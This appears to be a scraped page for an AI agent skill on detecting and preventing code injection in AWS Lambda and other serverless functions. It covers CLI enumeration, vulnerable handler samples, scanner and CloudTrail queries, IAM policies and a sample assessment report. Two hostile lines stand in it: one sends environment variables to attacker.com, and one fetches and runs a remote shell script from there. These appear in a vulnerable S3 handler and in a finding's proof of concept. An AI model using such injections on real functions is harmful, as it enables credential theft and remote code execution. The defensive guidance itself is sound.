Loading...
Loading...
Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.
npx skill4agent add mukul975/anthropic-cybersecurity-skills detecting-serverless-function-injectionevalexecchild_process.execos.systemlambda:UpdateFunctionCodeiam:PassRoleInvokeUpdateFunctionCodeUpdateFunctionConfigurationCreateFunctionboto3banditsemgrepaws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output tableaws lambda list-event-source-mappings --output json | \
jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'aws apigateway get-rest-apis --query 'items[*].[id,name]' --output tableaws s3api get-bucket-notification-configuration --bucket <bucket-name>aws lambda get-function-configuration --function-name <name> \
--query 'Environment.Variables' --output json*aws iam list-attached-role-policies --role-name <lambda-exec-role>
aws iam list-role-policies --role-name <lambda-exec-role>aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/# DANGEROUS: Direct eval/exec of event data
eval(event['expression']) # Code injection via eval
exec(event['code']) # Arbitrary code execution
os.system(event['command']) # OS command injection
subprocess.call(event['cmd'], shell=True) # Shell injection
os.popen(event['input']) # Command injection
pickle.loads(event['data']) # Deserialization attack
yaml.load(event['config']) # YAML deserialization (unsafe loader)// DANGEROUS: Direct execution of event data
eval(event.expression); // Code injection
new Function(event.code)(); // Dynamic function creation
child_process.exec(event.command); // OS command injection
child_process.execSync(event.cmd); // Synchronous command injection
vm.runInNewContext(event.script); // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute patternsemgrep --config "p/owasp-top-ten" --config "p/command-injection" \
--config "p/python-security" function_code/ --json --output semgrep_results.jsonbandit -r function_code/ -f json -o bandit_results.json \
-t B102,B301,B307,B602,B603,B604,B605,B606,B607execpickleevalsubprocessshell=True# Indirect injection: event data flows into SQL query string
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query) # SQL injection
# Indirect injection: event data flows into template rendering
template = event['template']
rendered = jinja2.Template(template).render() # SSTI# Vulnerable Lambda handler
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
# VULNERABLE: key is attacker-controlled
os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file"); curl http://attacker.com/exfil?data=$(env)# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
# VULNERABLE: message content used in eval
result = eval(message['formula'])# Vulnerable Lambda handler
def handler(event, context):
user_agent = event['headers']['User-Agent']
# VULNERABLE: header value used in shell command
subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
new_image = record['dynamodb']['NewImage']
config = new_image['config']['S']
# VULNERABLE: DynamoDB record value used in exec
exec(config)fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output jsonUpdateFunctionConfigurationaws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
--start-time "2026-03-12T00:00:00Z" \
--end-time "2026-03-19T23:59:59Z" \
--query 'Events[*].[EventTime,Username,CloudTrailEvent]'CloudTrailEventLayersaws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
--query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
# Search for suspicious patterns
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents//opt/python//opt/nodejs/node_modules/boto3{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
"errorCode": [{"exists": false}]
}
}lambda:UpdateFunctionCodeiam:PassRolests:GetCallerIdentityAWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKENaws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
--start-time "2026-03-12T00:00:00Z" \
--query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output tableiam:PassRole# CloudWatch Logs Insights on CloudTrail logs
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime descfields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
"CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"CreateFunction20150331"
],
"errorCode": [{"exists": false}]
}
}import re
import json
from functools import wraps
SAFE_PATTERNS = {
'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
'action': re.compile(r'^(get|list|create|update|delete)$'),
}
def validate_event(schema):
"""Decorator that validates Lambda event against a whitelist schema."""
def decorator(func):
@wraps(func)
def wrapper(event, context):
for field, pattern in schema.items():
value = event.get(field, '')
if isinstance(value, str) and not pattern.match(value):
return {
'statusCode': 400,
'body': json.dumps({'error': f'Invalid {field}'})
}
return func(event, context)
return wrapper
return decorator
@validate_event(SAFE_PATTERNS)
def handler(event, context):
# Event data is validated before reaching this point
user_id = event['userId']
# Safe to use in queries with parameterized statements
return {'statusCode': 200, 'body': json.dumps({'user': user_id})}aws lambda get-function-url-config --function-name <name> \
--query 'AuthType' --output text
# Must return "AWS_IAM", not "NONE"{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
},
{
"Effect": "Allow",
"Action": "logs:*",
"Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
}
]
}{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLambdaCodeUpdateExceptCICD",
"Effect": "Deny",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
}
}
}
]
}from aws_lambda_powertools import Logger, Tracer
from aws_lambda_powertools.utilities.validation import validate
logger = Logger(service="payment-processor")
tracer = Tracer()
@logger.inject_lambda_context
@tracer.capture_lambda_handler
def handler(event, context):
logger.info("Processing event", extra={
"source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
"user_agent": event.get('headers', {}).get('User-Agent'),
"http_method": event.get('httpMethod'),
})| Term | Definition |
|---|---|
| Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |
| Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |
| Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |
| IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |
| OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |
| Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |
| Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSlambda:UpdateFunctionCodeUpdateFunctionCodefields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime descos.environ['AWS_ACCESS_KEY_ID']AWS_SECRET_ACCESS_KEYAWS_SESSION_TOKENUpdateFunctionConfigurationdynamodb:*s3:GetObjects3:PutObjectsqs:SendMessagests:GetCallerIdentitys3:ListBucketsdynamodb:Scaniam:CreateUserlambda:UpdateFunctionCode## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions